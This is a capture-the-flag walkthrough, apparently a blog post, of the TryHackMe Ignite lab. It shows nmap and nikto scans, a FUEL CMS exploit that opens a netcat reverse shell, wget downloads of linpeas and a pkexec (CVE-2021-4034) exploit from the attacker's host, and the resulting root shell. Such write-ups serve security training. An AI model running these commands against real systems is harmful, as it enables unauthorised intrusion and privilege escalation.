TryHackMe Ignite Walkthrough
10 min readAug 7, 2023
Ignite VM is a vulnerable machine that requires you to retrieve 2 flags from a CMS-based Website and Eventually root the system.
We will Be starting with NMAP SCAN.
NMAP SCAN
I use this script for my scans
(kali㉿kali)-[~/Desktop/Pen_cheatsheet/Recon/Portscan]
└─$ cat full_opscan.py
import os
import sys
target = sys.argv[1]
os.system(f"sudo nmap -T4 -A -v --max-rtt-timeout 1500ms --min-rate 4500 --max-os-tries 1 -Pn --osscan-limit 1 --script vuln,http-enum,smb-enum-shares.nse {target}")
-----------------------------------------------------------------------------------------------------
python full_opscan.py 10.10.58.21
[sudo] password for kali:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-07 08:05 EDT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 08:05
NSE Timing: About 50.00% done; ETC: 08:06 (0:00:31 remaining)
Completed NSE at 08:05, 34.12s elapsed
Initiating NSE at 08:05
Completed NSE at 08:05, 0.00s elapsed
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Initiating Parallel DNS resolution of 1 host. at 08:05
Completed Parallel DNS resolution of 1 host. at 08:05, 0.04s elapsed
Initiating Parallel DNS resolution of 1 host. at 08:05
Completed Parallel DNS resolution of 1 host. at 08:05, 0.04s elapsed
Initiating SYN Stealth Scan at 08:05
Scanning 1 (0.0.0.1) [1000 ports]
Completed SYN Stealth Scan at 08:06, 1.23s elapsed (1000 total ports)
Initiating Service scan at 08:06
Skipping OS Scan against 1 (0.0.0.1) due to absence of open (or perhaps closed) ports
Initiating Traceroute at 08:06
Completed Traceroute at 08:06, 9.07s elapsed
NSE: Script scanning 0.0.0.1.
Initiating NSE at 08:06
Completed NSE at 08:06, 1.03s elapsed
Initiating NSE at 08:06
Completed NSE at 08:06, 0.01s elapsed
Nmap scan report for 1 (0.0.0.1)
Host is up.
All 1000 scanned ports on 1 (0.0.0.1) are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 ... 30
Initiating SYN Stealth Scan at 08:06
Scanning 10.10.58.21 [1000 ports]
Discovered open port 80/tcp on 10.10.58.21
Increasing send delay for 10.10.58.21 from 0 to 5 due to 217 out of 542 dropped probes since last increase.
Increasing send delay for 10.10.58.21 from 5 to 10 due to 48 out of 119 dropped probes since last increase.
Completed SYN Stealth Scan at 08:06, 2.74s elapsed (1000 total ports)
Initiating Service scan at 08:06
Scanning 1 service on 10.10.58.21
Completed Service scan at 08:06, 6.56s elapsed (1 service on 1 host)
Initiating OS detection (try #1) against 10.10.58.21
Initiating Traceroute at 08:06
Completed Traceroute at 08:06, 0.20s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 08:06
Completed Parallel DNS resolution of 2 hosts. at 08:06, 0.23s elapsed
NSE: Script scanning 10.10.58.21.
Initiating NSE at 08:06
Completed NSE at 08:14, 473.65s elapsed
Initiating NSE at 08:14
Completed NSE at 08:14, 3.19s elapsed
Nmap scan report for 10.10.58.21
Host is up (0.24s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum:
| /robots.txt: Robots file
| /0/: Potentially interesting folder
| /home/: Potentially interesting folder
|_ /index/: Potentially interesting folder
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=8/7%OT=80%CT=1%CU=42845%PV=Y%DS=2%DC=T%G=Y%TM=64D0E01D
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10A%TI=Z%CI=I%II=I%TS=A)OPS(
OS:O1=M509ST11NW6%O2=M509ST11NW6%O3=M509NNT11NW6%O4=M509ST11NW6%O5=M509ST11
OS:NW6%O6=M509ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(
OS:R=Y%DF=Y%T=40%W=6903%O=M509NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)
Uptime guess: 23.572 days (since Fri Jul 14 18:30:50 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
TRACEROUTE (using port 995/tcp)
HOP RTT ADDRESS
1 196.12 ms 10.18.0.1
2 196.73 ms 10.10.58.21
NSE: Script Post-scanning.
Initiating NSE at 08:14
Completed NSE at 08:14, 0.00s elapsed
Initiating NSE at 08:14
Completed NSE at 08:14, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 2 IP addresses (2 hosts up) scanned in 538.61 seconds
Raw packets sent: 4433 (194.422KB) | Rcvd: 1259 (84.919KB)Major Takings from NMAP SCAN
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum:
| /robots.txt: Robots file
| /0/: Potentially interesting folder
| /home/: Potentially interesting folderNikto Scan
$ nikto -h http://10.10.58.21/
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 10.10.58.21
+ Target Hostname: 10.10.58.21
+ Target Port: 80
+ Start Time: 2023-08-07 08:05:44 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: contains 1 entry which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /home/: This might be interesting.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /composer.json: PHP Composer configuration file reveals configuration information. See: https://getcomposer.org/
+ /README.md: Readme Found.
+ 8075 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time: 2023-08-07 08:40:58 (GMT-4) (2114 seconds)
---------------------------------------------------------------------------
+ 1 host(s) testedMajor takings
/robots.txt: contains 1 entry which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /home/: This might be interesting.When visited Found that its FUEL CMS. It was for the first time i heard about this CMS. I google it with + exploit, reverse shell and vulnerability.
Get Muhammad Raheem’s stories in your inbox
Join Medium for free to get updates from this writer.
After some research i got a python web shell.
(kali㉿kali)-[~/Desktop/Tryhackme/fuleCMS]
└─$ python fuelCMS.py machine_ip
______ _ _____ ___ ___ _____
| ___| | / __ \| \/ |/ ___|
| |_ _ _ ___| | / \/| . . |\ `--.
| _| | | |/ _ \ | | | |\/| | `--. \
| | | |_| | __/ | \__/\| | | |/\__/ /
\_| \__,_|\___|_|\____/\_| |_/\____/
Tested on 1.4
Created by Ac1d
Menu
exit - Exit app
shell_me - Get a reverse shell (netcat)
help - Show this help
fuelCMS$ shell_me
Enter IP:PORT $ your_ip:2345
Hope you had your listener ready!! On other terminal first set a listener.
─(kali㉿kali)-[~]
└─$ nc -lvnp 2345
listening on [any] 2345 ...
connect to [0.0.0.0] from (UNKNOWN) [10.10.58.21] 60222
/bin/sh: 0: can't access tty; job control turned off
$ ls -al
total 52
drwxrwxrwx 4 root root 4096 Jul 26 2019 .
drwxr-xr-x 3 root root 4096 Jul 26 2019 ..
-rw-r--r-- 1 root root 163 Jul 26 2019 .htaccess
-rwxrwxrwx 1 root root 1427 Jul 26 2019 README.md
drwxrwxrwx 9 root root 4096 Jul 26 2019 assets
-rwxrwxrwx 1 root root 193 Jul 26 2019 composer.json
-rwxrwxrwx 1 root root 6502 Jul 26 2019 contributing.md
drwxrwxrwx 9 root root 4096 Jul 26 2019 fuel
-rwxrwxrwx 1 root root 11802 Jul 26 2019 index.php
-rwxrwxrwx 1 root root 30 Jul 26 2019 robots.txtWOW we got the shell the script actually works. Now having our first flag from the users folder. here user is www-data.
$ python -c 'import pty; pty.spawn("/bin/bash")' #for having pretty shell
www-data@ubuntu:/var$
www-data@ubuntu:/var$
www-data@ubuntu:/var$ ls -al
ls -al
total 60
drwxr-xr-x 15 root root 4096 Jul 26 2019 .
drwxr-xr-x 24 root root 4096 Jul 26 2019 ..
drwxr-xr-x 2 root root 4096 Aug 7 05:09 backups
drwxr-xr-x 17 root root 4096 Jul 26 2019 cache
drwxrwsrwt 2 root whoopsie 4096 Feb 26 2019 crash
drwxr-xr-x 72 root root 4096 Jul 26 2019 lib
drwxrwsr-x 2 root staff 4096 Apr 12 2016 local
lrwxrwxrwx 1 root root 9 Jul 26 2019 lock -> /run/lock
drwxrwxr-x 15 root syslog 4096 Aug 7 05:09 log
drwxrwsr-x 2 root mail 4096 Feb 26 2019 mail
drwxrwsrwt 2 root whoopsie 4096 Feb 26 2019 metrics
drwxr-xr-x 2 root root 4096 Feb 26 2019 opt
lrwxrwxrwx 1 root root 4 Jul 26 2019 run -> /run
drwxr-xr-x 2 root root 4096 Jan 29 2019 snap
drwxr-xr-x 7 root root 4096 Feb 26 2019 spool
drwxrwxrwt 5 root root 4096 Aug 7 05:05 tmp
drwxr-xr-x 3 root root 4096 Jul 26 2019 www
www-data@ubuntu:/var$ cd /home
cd /home
www-data@ubuntu:/home$ ls
ls
www-data
www-data@ubuntu:/home$ cd www-data
cd www-data
www-data@ubuntu:/home/www-data$ ls
ls
flag.txt
www-data@ubuntu:/home/www-data$ cat flag.txt
cat flag.txt
Flag here
www-data@ubuntu:/home/www-data$ ls
ls
flag.txtNow i surffered Visited Crontabs cronjobs nothing interested other interesting folder didn’t got anything.
I moved to linpeas then. Linpeas is a script with highly extensive and juicy inforamtion gathering procedure.
ww-data@ubuntu:/home/www-data$ wget http://ip:8000/linpeas.sh
wget http://ip:8000/linpeas.sh
--2023-08-07 05:48:48-- http://ip:8000/linpeas.sh
Connecting to ip:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 836755 (817K) [text/x-sh]
Saving to: 'linpeas.sh'
linpeas.sh 100%[===================>] 817.14K 86.1KB/s in 12s
2023-08-07 05:49:00 (70.5 KB/s) - 'linpeas.sh' saved [836755/836755]
www-data@ubuntu:/home/www-data$ chmod +x linpeas.sh
chmod +x linpeas.sh
www-data@ubuntu:/home/www-data$ ls -al
ls -al
total 832
drwx--x--x 2 www-data www-data 4096 Aug 7 05:48 .
drwxr-xr-x 3 root root 4096 Jul 26 2019 ..
-rw-r--r-- 1 root root 34 Jul 26 2019 flag.txt
-rwxr-xr-x 1 www-data www-data 836755 Aug 6 23:54 linpeas.sh
www-data@ubuntu:/home/www-data$ ./linpeas.sh
./linpeas.shLinpeas info gathered. Above is that part which make me think on the exploit to root. i tried other vulnerabilitites CVEs listed but this one actually gave me the root shell.
╔════════════════════════════════════╗
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════
╚════════════════════════════════════╝
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwsr-xr-- 1 root dip 386K Jun 12 2018 /usr/sbin/pppd ---> Apple_Mac_OSX_10.4.8(05-2007)
-rwsr-xr-x 1 root root 19K Mar 17 2017 /usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox
-rwsr-xr-x 1 root root 15K Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-sr-x 1 root root 97K Jan 29 2019 /usr/lib/snapd/snap-confine ---> Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation(CVE-2019-7304)
-rwsr-xr-- 1 root messagebus 42K Jan 12 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-sr-x 1 root root 11K Oct 25 2018 /usr/lib/xorg/Xorg.wrap
-rwsr-xr-x 1 root root 419K Jan 31 2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10K Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 40K May 16 2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 74K May 16 2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 39K May 16 2017 /usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 23K Jan 15 2019 /usr/bin/pkexec ---> Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)
-rwsr-xr-x 1 root root 11K May 8 2018 /usr/bin/vmware-user-suid-wrapper
-rwsr-xr-x 1 root root 134K Jul 4 2017 /usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 49K May 16 2017 /usr/bin/chfn ---> SuSE_9.3/10
-rwsr-xr-x 1 root root 53K May 16 2017 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 40K May 16 2017 /bin/su
-rwsr-xr-x 1 root root 44K May 7 2014 /bin/ping6
-rwsr-xr-x 1 root root 139K Jan 28 2017 /bin/ntfs-3g ---> Debian9/8/7/Ubuntu/Gentoo/others/Ubuntu_Server_16.10_and_others(02-2017)
-rwsr-xr-x 1 root root 44K May 7 2014 /bin/ping
-rwsr-xr-x 1 root root 40K May 16 2018 /bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 27K May 16 2018 /bin/umount ---> BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 31K Jul 12 2016 /bin/fusermount
pkexec i again id some googling and found exploit on our friend github.
It is a local privilege escalation exploit. So i just cloned it on my host system and uploaded it to target via shell. It really dont give you an interactive shell even in my case i wasn’t even aware that i got the shell till i checked for whoami. But you can make it interactive using python pretty shell.
wget http://ip:8000/CVE-2021-4034.py
--2023-08-07 06:54:25-- http://ip:8000/CVE-2021-4034.py
Connecting to ip:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3068 (3.0K) [text/x-python]
Saving to: 'CVE-2021-4034.py'
0K .. 100% 279M=0s
2023-08-07 06:54:26 (279 MB/s) - 'CVE-2021-4034.py' saved [3068/3068]
$ python CVE-2021-4034.py
Do you want to choose a custom payload? y/n (n use default payload) Traceback (most recent call last):
File "CVE-2021-4034.py", line 14, in <module>
choise = input ("Do you want to choose a custom payload? y/n (n use default payload) ")
File "<string>", line 0
^
SyntaxError: unexpected EOF while parsing
$ python3 CVE-2021-4034.py
Do you want to choose a custom payload? y/n (n use default payload) n
ls
CVE-2019-13272.c
CVE-2021-4034.py
GCONV_PATH=.
exploit
flag.txt
linpeas.sh
payload.so
pwned
whoami
root
cat flag.txt
6470e394cbf6dab6a91682cc8585059b
pwd
/home/www-data
cd ../../
ls
bin
boot
cdrom
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz
cd root
ls
root.txt
cat root.txt
your flag hereAnd we got R00T :)
Note: Go through each and every vulnerability in a real world system so you can cover maximum attack surface.
